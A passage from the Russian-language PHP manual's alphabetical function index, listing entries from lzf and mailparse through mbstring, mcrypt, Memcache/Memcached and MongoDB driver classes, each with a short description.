    • LuaSandboxFunction::__construct - Не используется
    • lzf_compress - Сжатие LZF
    • lzf_decompress - Разархивация LZF
    • lzf_optimized_for - Определяет режим оптимизации модуля LZF
  • m
    • mail - Отправляет электронную почту
    • mailparse_determine_best_xfer_encoding - Определить наилучший путь декодирования
    • mailparse_msg_create - Создаёт почтовый MIME-ресурс
    • mailparse_msg_extract_part - Извлечь/декодировать секцию с сообщением
    • mailparse_msg_extract_part_file - Извлечь/декодировать секцию с сообщением из файла
    • mailparse_msg_extract_whole_part_file - Извлечь секцию сообщения вместе с заголовками без декодирования
    • mailparse_msg_free - Высвободить MIME-ресурс
    • mailparse_msg_get_part - Возвращает указатель на заданную секцию в mime-сообщении
    • mailparse_msg_get_part_data - Вернуть ассоциативный массив с информацией о сообщении
    • mailparse_msg_get_structure - Получить массив имён mime-секций в заданном сообщении
    • mailparse_msg_parse - Инкрементальное разбирает данные в буфер
    • mailparse_msg_parse_file - Разбирает файл
    • mailparse_rfc822_parse_addresses - Разобрать адреса в соответствии с RFC 822
    • mailparse_stream_encode - Кодирует поток из файла источника и пишет в файл получатель.
    • mailparse_uudecode_all - Сканирует данные из указанного файла и извлекает все вложенные файлы, кодированные в uuencode
    • max - Возвращает наибольшее значение
    • mb_check_encoding - Проверяет, допустима ли строка для заданной кодировки
    • mb_chr - Возвращает символ по значению кодовой точки Unicode
    • mb_convert_case - Меняет регистр символов в строке
    • mb_convert_encoding - Преобразовывает строку из одной кодировки символов в другую
    • mb_convert_kana - Преобразовывает одну кодировку «kana» в другую («zen-kaku», «han-kaku» и другие)
    • mb_convert_variables - Преобразовывает символы в переменной(-ых) из одной кодировки в другую
    • mb_decode_mimeheader - Декодирует строку в MIME-заголовке
    • mb_decode_numericentity - Декодирует ссылку на числовую строку HTML в символ
    • mb_detect_encoding - Определяет кодировку символов
    • mb_detect_order - Устанавливает или получает порядок определения кодировки символов
    • mb_encode_mimeheader - Кодирует строку для MIME-заголовка
    • mb_encode_numericentity - Кодирует символ в числовую HTML-ссылку
    • mb_encoding_aliases - Получает псевдонимы известного типа кодировки
    • mb_ereg - Находит совпадение регулярному выражению с поддержкой многобайтовых кодировок
    • mb_eregi - Находит соответствие регулярному выражению с поддержкой многобайтовых символов без учёта регистра
    • mb_eregi_replace - Заменяет по регулярному выражению с поддержкой многобайтовых символов без учёта регистра
    • mb_ereg_match - Определяет, соответствует ли многобайтовая строка регулярному выражению
    • mb_ereg_replace - Заменяет по регулярному выражению с поддержкой многобайтовых кодировок
    • mb_ereg_replace_callback - Выполняет поиск и замену по регулярному выражению с поддержкой многобайтовых кодировок, обрабатывая совпадения callback-функцией
    • mb_ereg_search - Находит соответствие предопределённой строки в многобайтовой кодировке регулярному выражению
    • mb_ereg_search_getpos - Возвращает начальную позицию следующего совпадения с регулярным выражением
    • mb_ereg_search_getregs - Получает последнее совпадение строки в многобайтовой кодировке регулярному выражению
    • mb_ereg_search_init - Настраивает строку и регулярное выражение для поиска соответствий строки в многобайтовой кодировке регулярному выражению
    • mb_ereg_search_pos - Возвращает позицию и длину совпавшего с регулярным выражением участка многобайтовой строки
    • mb_ereg_search_regs - Возвращает совпавшую с регулярным выражением часть строки
    • mb_ereg_search_setpos - Задаёт начальную позицию в строке, с которой начнётся поиск соответствий регулярному выражению
    • mb_get_info - Получает внутренние настройки модуля mbstring
    • mb_http_input - Определяет кодировку символов входных данных HTTP-запроса
    • mb_http_output - Устанавливает или получает кодировку символов HTTP-вывода
    • mb_internal_encoding - Устанавливает или получает внутреннюю кодировку символов файла скрипта
    • mb_language - Устанавливает или получает текущий язык
    • mb_list_encodings - Возвращает массив всех поддерживаемых кодировок
    • mb_ord - Получает кодовую точку символа Unicode
    • mb_output_handler - Преобразовывает кодировку символов в буфере вывода, выступая в роли callback-функции
    • mb_parse_str - Разбирает данные запросов GET, POST, COOKIE и устанавливает значения глобальных переменных
    • mb_preferred_mime_name - Получает строку кодировки MIME
    • mb_regex_encoding - Устанавливает или получает кодировку символов для многобайтового регулярного выражения
    • mb_regex_set_options - Устанавливает или получает значение по умолчанию для настроек функций mbregex
    • mb_scrub - Заменяет неправильно сформированные последовательности байтов символом-заменителем
    • mb_send_mail - Отправляет закодированное электронное письмо
    • mb_split - Разделяет строки в многобайтных кодировках через регулярное выражение
    • mb_strcut - Получает часть строки
    • mb_strimwidth - Получает строку, обрезанную до заданной ширины
    • mb_stripos - Находит позицию первого вхождения подстроки в строку без учёта регистра
    • mb_stristr - Находит первое вхождение подстроки в строку без учёта регистра
    • mb_strlen - Получает длину строки
    • mb_strpos - Ищет позицию первого вхождения подстроки в строку
    • mb_strrchr - Находит последнее вхождение символа подстроки в строку
    • mb_strrichr - Находит последнее вхождение символа подстроки в строку без учёта регистра
    • mb_strripos - Находит последнее вхождение подстроки в строку без учёта регистра
    • mb_strrpos - Ищет позицию последнего вхождения подстроки в строку
    • mb_strstr - Находит первое вхождение подстроки в строке
    • mb_strtolower - Приводит строку к нижнему регистру
    • mb_strtoupper - Приводит строку к верхнему регистру
    • mb_strwidth - Возвращает ширину строки
    • mb_str_pad - Дополняет мультибайтовую строку другой мультибайтовой строкой до заданной длины
    • mb_str_split - Возвращает массив символов заданной многобайтовой строки
    • mb_substitute_character - Устанавливает или получает символ замены
    • mb_substr - Возвращает часть строки
    • mb_substr_count - Возвращает количество вхождений подстроки
    • mcrypt_create_iv - Создаёт инициализирующий вектор (Initialization Vector или IV) из случайного источника
    • mcrypt_decrypt - Расшифровывает данные с заданными параметрами
    • mcrypt_encrypt - Шифрует текст с заданными параметрами
    • mcrypt_enc_get_algorithms_name - Возвращает имя алгоритма
    • mcrypt_enc_get_block_size - Возвращает размер блока алгоритма
    • mcrypt_enc_get_iv_size - Возвращает размер инициализирующего вектора для алгоритма
    • mcrypt_enc_get_key_size - Возвращает максимальную допустимую длину ключа алгоритма
    • mcrypt_enc_get_modes_name - Возвращает имя используемого режима
    • mcrypt_enc_get_supported_key_sizes - Возвращает массив с допустимыми размерами ключа для используемого алгоритма
    • mcrypt_enc_is_block_algorithm - Проверяет, использует ли алгоритм блочные режимы
    • mcrypt_enc_is_block_algorithm_mode - Проверяет, используется ли блочный режим
    • mcrypt_enc_is_block_mode - Проверяет, возвращает ли текущий режим блоки
    • mcrypt_enc_self_test - Запуск самопроверки открытого модуля
    • mcrypt_generic - Функция шифрует данные
    • mcrypt_generic_deinit - Эта функция деинициализирует модуль шифрования
    • mcrypt_generic_init - Функция инициализирует все буферы, необходимые для шифрования
    • mcrypt_get_block_size - Возвращает размер блока для указанного шифра
    • mcrypt_get_cipher_name - Получает имя указанного шифра
    • mcrypt_get_iv_size - Возвращает размер инициализирующего вектора для соответствующей комбинации шифра и режима
    • mcrypt_get_key_size - Получить размер ключа заданного шифра
    • mcrypt_list_algorithms - Получить список всех поддерживаемых алгоритмов шифрования
    • mcrypt_list_modes - Получить список всех поддерживаемых режимов шифрования
    • mcrypt_module_close - Закрывает модуль mcrypt
    • mcrypt_module_get_algo_block_size - Возвращает размер блока указанного алгоритма
    • mcrypt_module_get_algo_key_size - Возвращает максимальный размер ключа открытого режима
    • mcrypt_module_get_supported_key_sizes - Возвращает список поддерживаемых размеров ключей для открытого алгоритма
    • mcrypt_module_is_block_algorithm - Проверяет, является ли заданный алгоритм блочным или нет
    • mcrypt_module_is_block_algorithm_mode - Проверяет, является ли заданный модуль блочным или нет
    • mcrypt_module_is_block_mode - Проверить, возвращает ли указанный режим данные блоками или нет
    • mcrypt_module_open - Открывает модуль шифрования с использованием указанных алгоритма и режима
    • mcrypt_module_self_test - Функция запускает самопроверку указанного модуля
    • md5 - Возвращает MD5-хеш строки
    • md5_file - Возвращает MD5-хеш файла
    • mdecrypt_generic - Дешифровка данных
    • Memcache::add - Добавить элемент с указанным ключом
    • Memcache::addServer - Добавляет сервер memcached в пул соединений
    • Memcache::close - Закрыть соединение с сервером memcached
    • Memcache::connect - Открывает соединение с сервером memcached
    • Memcache::decrement - Декрементировать значение элемента
    • Memcache::delete - Удалить элемент с сервера
    • Memcache::flush - Сбросить все существующие элементы на сервере
    • Memcache::get - Извлечь элемент с сервера
    • Memcache::getExtendedStats - Получить статистику со всех серверов в пуле
    • Memcache::getServerStatus - Возвращает статус сервера
    • Memcache::getStats - Получить статистику сервера
    • Memcache::getVersion - Вернуть версию сервера
    • Memcache::increment - Увеличить значение элемента
    • Memcache::pconnect - Открывает постоянное соединение с сервером memcached
    • Memcache::replace - Заменить значение существующего элемента
    • Memcache::set - Сохранить данные на сервере
    • Memcache::setCompressThreshold - Включить автоматическое сжатие для больших значений
    • Memcache::setServerParams - Изменяет параметры сервера и статус во время выполнения
    • Memcached::add - Добавляет элемент с новым ключом
    • Memcached::addByKey - Добавляет новый элемент на заданный сервер
    • Memcached::addServer - Добавляет сервер в пул
    • Memcached::addServers - Добавляет несколько серверов в пул
    • Memcached::append - Добавляет данные к существующей записи
    • Memcached::appendByKey - Добавляет данные к существующей записи на заданном сервере
    • Memcached::cas - Сравнивает и устанавливает значение для записи
    • Memcached::casByKey - Сравнивает и устанавливает значение для записи на конкретном сервере
    • Memcached::decrement - Уменьшает числовое значение записи
    • Memcached::decrementByKey - Уменьшает числовое значение записи, хранящееся на определённом сервере
    • Memcached::delete - Удаляет запись
    • Memcached::deleteByKey - Удаляет запись с указанного сервера
    • Memcached::deleteMulti - Удаляет несколько записей
    • Memcached::deleteMultiByKey - Удаляет несколько записей с указанного сервера
    • Memcached::fetch - Извлекает следующий результат
    • Memcached::fetchAll - Извлекает все полученные записи
    • Memcached::flush - Аннулирует все записи в кеше
    • Memcached::get - Получение записи
    • Memcached::getAllKeys - Получает все ключи, хранящиеся на серверах
    • Memcached::getByKey - Получает запись с определённого сервера
    • Memcached::getDelayed - Запрашивает несколько записей
    • Memcached::getDelayedByKey - Запрашивает несколько записей с указанного сервера
    • Memcached::getMulti - Получает несколько записей
    • Memcached::getMultiByKey - Получает несколько записей с указанного сервера
    • Memcached::getOption - Получает значение Memcached параметра
    • Memcached::getResultCode - Возвращает результирующий код последней выполненной операции
    • Memcached::getResultMessage - Возвращает сообщение, описывающее результат выполнения последней операции
    • Memcached::getServerByKey - Получает информацию о сервере по ключу
    • Memcached::getServerList - Получает список серверов в пуле
    • Memcached::getStats - Получает статистику о серверах в пуле
    • Memcached::getVersion - Получает информацию о версии серверов в пуле
    • Memcached::increment - Увеличивает числовое значение записи
    • Memcached::incrementByKey - Увеличивает числовое значение записи, хранимой на указанном сервере
    • Memcached::isPersistent - Проверяет используется ли устойчивое соединение с сервером memcache
    • Memcached::isPristine - Проверяет создан ли уже экземпляр класса Memcached
    • Memcached::prepend - Добавляет данные в начало существующей записи
    • Memcached::prependByKey - Добавляет данные в начало существующей записи на указанном сервере
    • Memcached::quit - Закрывает все открытые соединения
    • Memcached::replace - Заменяет существующую запись с указанным ключом
    • Memcached::replaceByKey - Заменяет существующую запись с заданным ключом на указанном сервере
    • Memcached::resetServerList - Очищает список серверов
    • Memcached::set - Сохраняет запись
    • Memcached::setByKey - Сохраняет запись на указанном сервере
    • Memcached::setMulti - Сохраняет несколько записей
    • Memcached::setMultiByKey - Сохраняет несколько записей на указанном сервере
    • Memcached::setOption - Устанавливает значение параметра для Memcached
    • Memcached::setOptions - Устанавливает несколько Memcached параметров
    • Memcached::setSaslAuthData - Устанавливает учётные данные для аутентификации
    • Memcached::touch - Устанавливает новый срок хранения для записи
    • Memcached::touchByKey - Устанавливает новый срок хранения для записи на указанном сервере
    • Memcached::__construct - Создаёт экземпляр класса Memcached
    • memcache_debug - Включить/выключить вывод отладочной информации
    • memory_get_peak_usage - Возвращает пиковое значение объёма памяти, выделенной PHP
    • memory_get_usage - Возвращает количество памяти, выделенной для PHP
    • memory_reset_peak_usage - Сбрасывает пиковое значение объёма памяти, выделенной PHP
    • MessageFormatter::create - Создаёт средство форматирования сообщений
    • MessageFormatter::format - Форматирует сообщение
    • MessageFormatter::formatMessage - Быстро форматирует сообщение
    • MessageFormatter::getErrorCode - Возвращает код ошибки последней операции
    • MessageFormatter::getErrorMessage - Возвращает текст ошибки последней операции
    • MessageFormatter::getLocale - Возвращает локаль, для которой было создано средство форматирования
    • MessageFormatter::getPattern - Возвращает шаблон, используемый средством форматирования
    • MessageFormatter::parse - Разбирает строку согласно шаблону
    • MessageFormatter::parseMessage - Быстро разбирает входную строку
    • MessageFormatter::setPattern - Устанавливает шаблон, используемый средством форматирования
    • metaphone - Возвращает ключ metaphone для строки
    • method_exists - Проверяет, существует ли метод в классе
    • mhash - Вычисляет хеш
    • mhash_count - Получить наибольший доступный идентификатор хеша
    • mhash_get_block_size - Получить размер блока для заданного хеша
    • mhash_get_hash_name - Получить имя указанного хеша
    • mhash_keygen_s2k - Генерация ключа
    • microtime - Возвращает текущую метку времени Unix с микросекундами
    • mime_content_type - Определяет MIME-тип содержимого файла
    • min - Находит наименьшее значение
    • mkdir - Создаёт директорию
    • mktime - Возвращает метку времени Unix для заданной даты
    • money_format - Форматирует число как денежную величину
    • MongoDB\BSON\Binary::getData - Возвращает данные Binary
    • MongoDB\BSON\Binary::getType - Возвращает тип Binary
    • MongoDB\BSON\Binary::jsonSerialize - Возвращает представление, которое можно преобразовать в JSON
    • MongoDB\BSON\Binary::serialize - Сериализует Binary
    • MongoDB\BSON\Binary::unserialize - Десериализует Binary
    • MongoDB\BSON\Binary::__construct - Создаёт новый Binary
    • MongoDB\BSON\Binary::__toString - Возвращает данные Binary
    • MongoDB\BSON\BinaryInterface::getData - Возвращает данные BinaryInterface
    • MongoDB\BSON\BinaryInterface::getType - Возвращает тип BinaryInterface
    • MongoDB\BSON\BinaryInterface::__toString - Возвращает данные BinaryInterface
    • MongoDB\BSON\DBPointer::jsonSerialize - Возвращает представление, которое можно преобразовать в JSON
    • MongoDB\BSON\DBPointer::serialize - Сериализует DBPointer
    • MongoDB\BSON\DBPointer::unserialize - Десериализует DBPointer
    • MongoDB\BSON\DBPointer::__construct - Создаёт новый DBPointer (не используется)
    • MongoDB\BSON\DBPointer::__toString - Возвращает пустую строку
    • MongoDB\BSON\Decimal128::jsonSerialize - Возвращает представление, которое можно преобразовать в JSON
    • MongoDB\BSON\Decimal128::serialize - Сериализирует Decimal128
    • MongoDB\BSON\Decimal128::unserialize - Десериализует Decimal128
    • MongoDB\BSON\Decimal128::__construct - Создаёт новый Decimal128
    • MongoDB\BSON\Decimal128::__toString - Возвращает строковое представление Decimal128
    • MongoDB\BSON\Decimal128Interface::__toString - Возвращает строковое представление Decimal128Interface
    • MongoDB\BSON\Document::fromBSON - Создаёт новый экземпляр документа из BSON-строки
    • MongoDB\BSON\Document::fromJSON - Создаёт новый экземпляр документа из строки JSON
    • MongoDB\BSON\Document::fromPHP - Создаёт новый экземпляр документа из данных PHP
    • MongoDB\BSON\Document::get - Возвращает значение ключа в документе
    • MongoDB\BSON\Document::getIterator - Возвращает итератор для документа BSON
    • MongoDB\BSON\Document::has - Возвращает, присутствует ли ключ в документе
    • MongoDB\BSON\Document::serialize - Сериализует документ
    • MongoDB\BSON\Document::toCanonicalExtendedJSON - Возвращает Canonical Extended JSON-представление BSON-документа
    • MongoDB\BSON\Document::toPHP - Возвращает PHP-представление документа BSON
    • MongoDB\BSON\Document::toRelaxedExtendedJSON - Возвращает Relaxed Extended JSON представление BSON-документа
    • MongoDB\BSON\Document::unserialize - Десериализует BSON-документ
    • MongoDB\BSON\Document::__construct - Создаёт новый BSON-документ (не используется)
    • MongoDB\BSON\Document::__toString - Возвращает строковое представление данного BSON-документа
    • MongoDB\BSON\fromJSON - Возвращает представление BSON значения JSON
    • MongoDB\BSON\fromPHP - Возвращает представление BSON значения PHP
    • MongoDB\BSON\Int64::jsonSerialize - Возвращает представление, которое можно преобразовать в JSON
    • MongoDB\BSON\Int64::serialize - Сериализует Int64
    • MongoDB\BSON\Int64::unserialize - Десериализует Int64
    • MongoDB\BSON\Int64::__construct - Создаёт новый Int64
    • MongoDB\BSON\Int64::__toString - Возвращает строковое представление Int64
    • MongoDB\BSON\Iterator::current - Возвращает текущий элемент
    • MongoDB\BSON\Iterator::key - Возвращает ключ текущего элемента
    • MongoDB\BSON\Iterator::next - Перемещает итератор к следующему элементу
    • MongoDB\BSON\Iterator::rewind - Перематывает итератор к первому элементу
    • MongoDB\BSON\Iterator::valid - Проверяет, является ли текущая позиция корректной
    • MongoDB\BSON\Iterator::__construct - Создаёт новый итератор BSON (не используется)
    • MongoDB\BSON\Javascript::getCode - Возвращает код JavaScript
    • MongoDB\BSON\Javascript::getScope - Возвращает область документа JavaScript
    • MongoDB\BSON\Javascript::jsonSerialize - Возвращает представление, которое может быть преобразовано в JSON
    • MongoDB\BSON\Javascript::serialize - Сериализовать JavaScript
    • MongoDB\BSON\Javascript::unserialize - Десериализовать JavaScript
    • MongoDB\BSON\Javascript::__construct - Конструктор Javascript
    • MongoDB\BSON\Javascript::__toString - Возвращает код JavaScript
    • MongoDB\BSON\JavascriptInterface::getCode - Возвращает код JavascriptInterface
    • MongoDB\BSON\JavascriptInterface::getScope - Возвращает области видимости документа JavascriptInterface
    • MongoDB\BSON\JavascriptInterface::__toString - Возвращает код JavascriptInterface
    • MongoDB\BSON\MaxKey::jsonSerialize - Возвращает представление, которое можно преобразовать в JSON
    • MongoDB\BSON\MaxKey::serialize - Сериализует MaxKey
    • MongoDB\BSON\MaxKey::unserialize - Десериализует MaxKey
    • MongoDB\BSON\MaxKey::__construct - Конструктор MaxKey
    • MongoDB\BSON\MinKey::jsonSerialize - Возвращает представление, которое можно преобразовать в JSON
    • MongoDB\BSON\MinKey::serialize - Сериализует MinKey
    • MongoDB\BSON\MinKey::unserialize - Десериализует MinKey
    • MongoDB\BSON\MinKey::__construct - Конструктор MinKey
    • MongoDB\BSON\ObjectId::getTimestamp - Возвращает метку времени ObjectId
    • MongoDB\BSON\ObjectId::jsonSerialize - Возвращает представление, которое можно преобразовать в JSON
    • MongoDB\BSON\ObjectId::serialize - Сериализует ObjectId
    • MongoDB\BSON\ObjectId::unserialize - Десериализует ObjectId
    • MongoDB\BSON\ObjectId::__construct - Создаёт новый ObjectId
    • MongoDB\BSON\ObjectId::__toString - Возвращает шестнадцатеричное представление ObjectId
    • MongoDB\BSON\ObjectIdInterface::getTimestamp - Возвращает компонент отметки времени ObjectIdInterface
    • MongoDB\BSON\ObjectIdInterface::__toString - Возвращает шестнадцатеричное представление ObjectIdInterface
    • MongoDB\BSON\PackedArray::fromPHP - Создаёт новый экземпляр массива BSON из данных PHP
    • MongoDB\BSON\PackedArray::get - Возвращает значение индекса массива
    • MongoDB\BSON\PackedArray::getIterator - Возвращает итератор для массива BSON
    • MongoDB\BSON\PackedArray::has - Возвращает, присутствует ли индекс в массиве
    • MongoDB\BSON\PackedArray::serialize - Сериализация массива BSON
    • MongoDB\BSON\PackedArray::toPHP - Возвращает PHP-представление массива BSON
    • MongoDB\BSON\PackedArray::unserialize - Десериализует массив BSON
    • MongoDB\BSON\PackedArray::__construct - Создаёт новый массив BSON (не используется)
    • MongoDB\BSON\PackedArray::__toString - Возвращает строковое представление BSON-массива
    • MongoDB\BSON\Persistable::bsonSerialize - Предоставляет массив или документ для сериализации в формате BSON
    • MongoDB\BSON\Regex::getFlags - Возвращает флаги Regex
    • MongoDB\BSON\Regex::getPattern - Возвращает шаблон Regex
    • MongoDB\BSON\Regex::jsonSerialize - Возвращает представление, которое можно преобразовать в JSON
    • MongoDB\BSON\Regex::serialize - Сериализует Regex
    • MongoDB\BSON\Regex::unserialize - Десериализует Regex
    • MongoDB\BSON\Regex::__construct - Создаёт новый Regex
    • MongoDB\BSON\Regex::__toString - Возвращает строковое представление Regex
    • MongoDB\BSON\RegexInterface::getFlags - Возвращает флаги RegexInterface
    • MongoDB\BSON\RegexInterface::getPattern - Возвращает шаблон RegexInterface
    • MongoDB\BSON\RegexInterface::__toString - Возвращает строковое представление RegexInterface
    • MongoDB\BSON\Serializable::bsonSerialize - Предоставляет массив или документ для сериализации в BSON
    • MongoDB\BSON\Symbol::jsonSerialize - Возвращает представление, которое можно преобразовать в JSON
    • MongoDB\BSON\Symbol::serialize - Сериализует Symbol
    • MongoDB\BSON\Symbol::unserialize - Десериализует Symbol
    • MongoDB\BSON\Symbol::__construct - Создаёт новый Symbol (не используется)
    • MongoDB\BSON\Symbol::__toString - Возвращает Symbol в виде строки
    • MongoDB\BSON\Timestamp::getIncrement - Возвращает компонент приращения Timestamp
    • MongoDB\BSON\Timestamp::getTimestamp - Возвращает компонент отметки времени Timestamp
    • MongoDB\BSON\Timestamp::jsonSerialize - Возвращает представление, которое можно преобразовать в JSON
    • MongoDB\BSON\Timestamp::serialize - Сериализует Timestamp
    • MongoDB\BSON\Timestamp::unserialize - Десериализует Timestamp
    • MongoDB\BSON\Timestamp::__construct - Создаёт новый Timestamp
    • MongoDB\BSON\Timestamp::__toString - Возвращает строковое представление Timestamp
    • MongoDB\BSON\TimestampInterface::getIncrement - Возвращает инкрементный компонент TimestampInterface
    • MongoDB\BSON\TimestampInterface::getTimestamp - Возвращает компонент отметки времени TimestampInterface
    • MongoDB\BSON\TimestampInterface::__toString - Возвращает строковое представление TimestampInterface
    • MongoDB\BSON\toCanonicalExtendedJSON - Возвращает Canonical Extended JSON представление для значения BSON
    • MongoDB\BSON\toJSON - Возвращает Legacy Extended JSON-представление значения BSON
    • MongoDB\BSON\toPHP - Возвращает PHP представление значения BSON
    • MongoDB\BSON\toRelaxedExtendedJSON - Возвращает Relaxed Extended JSON представление значения BSON
    • MongoDB\BSON\Undefined::jsonSerialize - Возвращает представление, которое можно преобразовать в JSON
    • MongoDB\BSON\Undefined::serialize - Сериализует Undefined
    • MongoDB\BSON\Undefined::unserialize - Десериализует Undefined
    • MongoDB\BSON\Undefined::__construct - Создаёт новый Undefined (не используется)
    • MongoDB\BSON\Undefined::__toString - Возвращает пустую строку
    • MongoDB\BSON\Unserializable::bsonUnserialize - Создаёт объект из массива BSON или документа
    • MongoDB\BSON\UTCDateTime::jsonSerialize - Возвращает представление, которое можно преобразовать в JSON
    • MongoDB\BSON\UTCDateTime::serialize - Сериализует UTCDateTime
    • MongoDB\BSON\UTCDateTime::toDateTime - Возвращает представление DateTime этого UTCDateTime
    • MongoDB\BSON\UTCDateTime::unserialize - Десериализует UTCDateTime
    • MongoDB\BSON\UTCDateTime::__construct - Создаёт новый UTCDateTime
    • MongoDB\BSON\UTCDateTime::__toString - Возвращает строковое представление UTCDateTime
    • MongoDB\BSON\UTCDateTimeInterface::toDateTime - Возвращает представление DateTime этого UTCDateTimeInterface
    • MongoDB\BSON\UTCDateTimeInterface::__toString - Возвращает строковое представление UTCDateTimeInterface
    • MongoDB\Driver\BulkWrite::count - Подсчитывает количество операций записи в порции
    • MongoDB\Driver\BulkWrite::delete - Добавление операции удаления в порцию
    • MongoDB\Driver\BulkWrite::insert - Добавить операцию вставки в порцию
    • MongoDB\Driver\BulkWrite::update - Добавить операцию обновления в порцию
    • MongoDB\Driver\BulkWrite::__construct - Создаёт новый объект BulkWrite
    • MongoDB\Driver\ClientEncryption::addKeyAltName - Добавляет альтернативное имя к документу с ключом
    • MongoDB\Driver\ClientEncryption::createDataKey - Создаёт документ с ключом
    • MongoDB\Driver\ClientEncryption::decrypt - Расшифровать данных
    • MongoDB\Driver\ClientEncryption::deleteKey - Удаляет документ с ключом
    • MongoDB\Driver\ClientEncryption::encrypt - Шифрует данные
    • MongoDB\Driver\ClientEncryption::encryptExpression - Шифрует совпадение или агрегированное выражение
    • MongoDB\Driver\ClientEncryption::getKey - Получает документ с ключом
    • MongoDB\Driver\ClientEncryption::getKeyByAltName - Получает документ с ключом по альтернативному имени
    • MongoDB\Driver\ClientEncryption::getKeys - Получает все документы с ключом
    • MongoDB\Driver\ClientEncryption::removeKeyAltName - Удаляет альтернативное имя из документа с ключом
    • MongoDB\Driver\ClientEncryption::rewrapManyDataKey - Переворачивает ключи данных
    • MongoDB\Driver\ClientEncryption::__construct - Создаёт новый объект ClientEncryption
    • MongoDB\Driver\Command::__construct - Создаёт новый объект Command
    • MongoDB\Driver\Cursor::current - Возвращает текущий элемент
    • MongoDB\Driver\Cursor::getId - Возвращает идентификатор для курсора
    • MongoDB\Driver\Cursor::getServer - Возвращает сервер, связанный с курсором
    • MongoDB\Driver\Cursor::isDead - Проверяет, исчерпан ли курсор или может содержать дополнительные результаты
    • MongoDB\Driver\Cursor::key - Возвращает индекс текущего результата в курсоре
    • MongoDB\Driver\Cursor::next - Перемещает курсор на следующий результат
    • MongoDB\Driver\Cursor::rewind - Перемещает курсор к первому результату
    • MongoDB\Driver\Cursor::setTypeMap - Устанавливает карту типа для десериализации BSON
    • MongoDB\Driver\Cursor::toArray - Возвращает массив, содержащий все результаты курсора
    • MongoDB\Driver\Cursor::valid - Проверяет, корректна ли текущая позиция курсора
    • MongoDB\Driver\Cursor::__construct - Создаёт новый объект Cursor (не используется)
    • MongoDB\Driver\CursorId::serialize - Сериализация CursorId
    • MongoDB\Driver\CursorId::unserialize - Десериализация CursorId
    • MongoDB\Driver\CursorId::__construct - Создаёт новый объект CursorId (не используется)
    • MongoDB\Driver\CursorId::__toString - Строковое представление идентификатора курсора
    • MongoDB\Driver\CursorInterface::getId - Возвращает идентификатор курсора
    • MongoDB\Driver\CursorInterface::getServer - Возвращает сервер, с которым связан курсор
    • MongoDB\Driver\CursorInterface::isDead - Проверить, можно ли ещё получить из курсора результаты
    • MongoDB\Driver\CursorInterface::setTypeMap - Задать сопоставление типов для десериализации BSON
    • MongoDB\Driver\CursorInterface::toArray - Вернуть все результаты для данного курсора в виде массива
    • MongoDB\Driver\Exception\CommandException::getResultDocument - Возвращает результат документа для неудавшейся команды
    • MongoDB\Driver\Exception\RuntimeException::hasErrorLabel - Возвращает, связана ли метка ошибки с исключением
    • MongoDB\Driver\Exception\WriteException::getWriteResult - Возвращает WriteResult для операции записи закончившейся ошибкой
    • MongoDB\Driver\Manager::addSubscriber - Регистрирует подписчика на событие мониторинга в данном объекте Manager
    • MongoDB\Driver\Manager::createClientEncryption - Создание нового объекта ClientEncryption
    • MongoDB\Driver\Manager::executeBulkWrite - Выполняет одну или несколько операций записи
    • MongoDB\Driver\Manager::executeCommand - Выполняет команду базы данных
    • MongoDB\Driver\Manager::executeQuery - Выполняет запрос к базе данных
    • MongoDB\Driver\Manager::executeReadCommand - Выполняет команду базы данных, которая читает
    • MongoDB\Driver\Manager::executeReadWriteCommand - Выполняет команду базы данных, которая читает и пишет
    • MongoDB\Driver\Manager::executeWriteCommand - Выполняет команду базы данных, которая пишет
    • MongoDB\Driver\Manager::getEncryptedFieldsMap - Возвращает опцию автоматического шифрования encryptedFieldsMap для Manager
    • MongoDB\Driver\Manager::getReadConcern - Возвращает ReadConcern для Manager
    • MongoDB\Driver\Manager::getReadPreference - Возвращает ReadPreference для Manager
    • MongoDB\Driver\Manager::getServers - Возвращает серверы, к которым подключён менеджер
    • MongoDB\Driver\Manager::getWriteConcern - Возвращает WriteConcern для Manager
    • MongoDB\Driver\Manager::removeSubscriber - Отменяет регистрацию подписчика на событие мониторинга в данном объекте Manager
    • MongoDB\Driver\Manager::selectServer - Выбрать сервер, соответствующий предпочтениям чтения
    • MongoDB\Driver\Manager::startSession - Запускает новый клиентский сеанс для использования с этим клиентом
    • MongoDB\Driver\Manager::__construct - Создаёт новый Manager MongoDB
    • MongoDB\Driver\Monitoring\addSubscriber - Глобальная регистрация подписчика на событие мониторинга
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getCommandName - Возвращает имя команды
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getDurationMicros - Возвращает длительность команды в микросекундах
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getError - Возвращает исключение, связанное с неудачной командой
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getOperationId - Возвращает идентификатор операции команды
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getReply - Возвращает документ ответа команды
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getRequestId - Возвращает идентификатор запроса команды
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getServer - Возвращает сервер, на котором была выполнена команда
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getServerConnectionId - Возвращает идентификатор соединения с сервером для команды
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getServiceId - Возвращает идентификатор службы балансировщика нагрузки для команды
    • MongoDB\Driver\Monitoring\CommandStartedEvent::getCommand - Возвращает документ команды
    • MongoDB\Driver\Monitoring\CommandStartedEvent::getCommandName - Возвращает имя команды
    • MongoDB\Driver\Monitoring\CommandStartedEvent::getDatabaseName - Возвращает базу данных, на которой выполнялась команда
    • MongoDB\Driver\Monitoring\CommandStartedEvent::getOperationId - Возвращает идентификатор операции команды
    • MongoDB\Driver\Monitoring\CommandStartedEvent::getRequestId - Возвращает идентификатор запроса команды
    • MongoDB\Driver\Monitoring\CommandStartedEvent::getServer - Возвращает сервер, на котором была выполнена команда
    • MongoDB\Driver\Monitoring\CommandStartedEvent::getServerConnectionId - Возвращает идентификатор соединения с сервером для команды
    • MongoDB\Driver\Monitoring\CommandStartedEvent::getServiceId - Возвращает идентификатор службы балансировщика нагрузки для команды
    • MongoDB\Driver\Monitoring\CommandSubscriber::commandFailed - Метод уведомления о неудачной команде
    • MongoDB\Driver\Monitoring\CommandSubscriber::commandStarted - Метод уведомления о запущенной команде
    • MongoDB\Driver\Monitoring\CommandSubscriber::commandSucceeded - Метод уведомления об успешной команде
    • MongoDB\Driver\Monitoring\CommandSucceededEvent::getCommandName - Возвращает имя команды
    • MongoDB\Driver\Monitoring\CommandSucceededEvent::getDurationMicros - Возвращает длительность команды в микросекундах
